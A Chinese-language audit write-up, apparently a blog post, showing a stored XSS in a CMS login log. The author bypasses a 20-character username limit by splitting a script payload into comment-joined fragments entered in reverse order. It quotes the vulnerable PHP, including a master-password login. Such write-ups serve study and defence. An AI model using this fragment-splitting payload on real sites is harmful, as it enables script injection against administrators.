这篇文章是我近期在审计一套 CMS 的时候顺便写的。
一般来讲程序对于输入字符长度进行限制的方法主要分两种,一种是前端的长度限制,这种的绕过只需要修改前端源码即可,或者本地构造一个表单。
本次审计的这套 CMS 存在一个 XSS 漏洞,由于日志入库验证不严格导致存在该漏洞,只需要尝试登陆即可写入 payload 。
$uid = 0;
$cfrom = $this->method->request('cfrom', $cfrom);
$token = $this->method->request('token');
$device= $this->method->request('device', $device);
$ip = $this->method->request('ip', $this->method->ip);
$web = $this->method->request('web', $this->method->web);
$cfroar= explode(',', 'pc,reim,weixin,appandroid,appiphone,mweb');
if(!in_array($cfrom, $cfroar))return 'not found cfrom';
if($user=='')return '用户名不能为空';
if($pass==''&&strlen($token)<8)return '密码不能为空';
$user = addslashes(substr($user, 0, 20));
$pass = addslashes($pass);
$logins = '登录成功';
$msg = '';
$fields = '`pass`,`id`,`name`,`user`,`face`,`deptname`';
$arrs = array(
'user' => $user,
'status|eqi' => 1,
'type|eqi' => 1,
'state|neqi' => 5
);
$us = $this->db->getone('admin', $arrs , $fields);
if(!$us){
unset($arrs['user']);
$arrs['name'] = $user;
$tos = $this->db->rows('admin', $arrs);
if($tos>1){
$msg = '存在相同用户名,系统无法识别';
}
if($msg=='')$us = $this->db->getone('admin', $arrs , $fields);
}
if($msg=='' && !$us){
$msg = '用户不存在';
}else if($msg==''){
$uid = $us['id'];
$user = $us['user'];
if(md5($pass)!=$us['pass'])$msg='密码错误';
if($pass==HIGHPASS){
$msg = '';
$logins = '管理员密码登录成功';
}
if($msg!=''&&strlen($token)>=8){
$moddt = date('Y-m-d H:i:s', time()-10*60*1000);
$trs = $this->getone("`uid`='$uid' and `token`='$token' and `moddt`>='$moddt'");
if($trs){
$msg = '';
$logins = '快捷登录';
}
}
}
$name = $face = $deptname = '';
if($msg==''){
$name = $us['name'];
$deptname = $us['deptname'];
$face = $us['face'];
if(!$this->isempt($face))$face = URL.''.$face.'';
$face = $this->method->repempt($face, 'images/noface.jpg');
$this->db->update('admin',"`loginci`=`loginci`+1", $uid);
}else{
$logins = $msg;
}
m('log')->addlog(''.$cfrom.'登录','['.$user.']'.$logins.'', array(
'optid' => $uid,
'optname' => $name,
'ip' => $ip,
'web' => $web,
));
程序前部分代码对整个登录过程进行了完整验证,同样开发者为了防止插入恶意代码对截取的数据长度限制到了 20 位并使用了 addslashes 对敏感字符进行转义。所以在后面的写入日志那里就很难写入有攻击性的 XSS 代码,单纯 <script></script> 就已经占了 17 个字符。
通过查看日志的源代码发现其实脚本标签是可以插入的,只不过没有办法写入完整代码,但是最为重要的一个因素在于,这里所插入的代码都是显示在同一个页面的。
所以接下来就是拼接 Payload 代码。考虑到程序会在渲染到页面的时候增加许多的标签导致脚本语法出错所以就直接给注释掉。
最终 payload 代码如下:
*/</script>
*/;alert(a);/*
*//xss//*
*/a=/*
<script>var/*
这里顺序的问题是因为程序的数据是从后往前显示,咱们输入的顺序是反的但是在页面显示的时候顺序是正常的。
成功触发 XSS 代码。
最终源代码如下:
最终通过注释符与代码之间的拼接成功的插入了完整的XSS代码。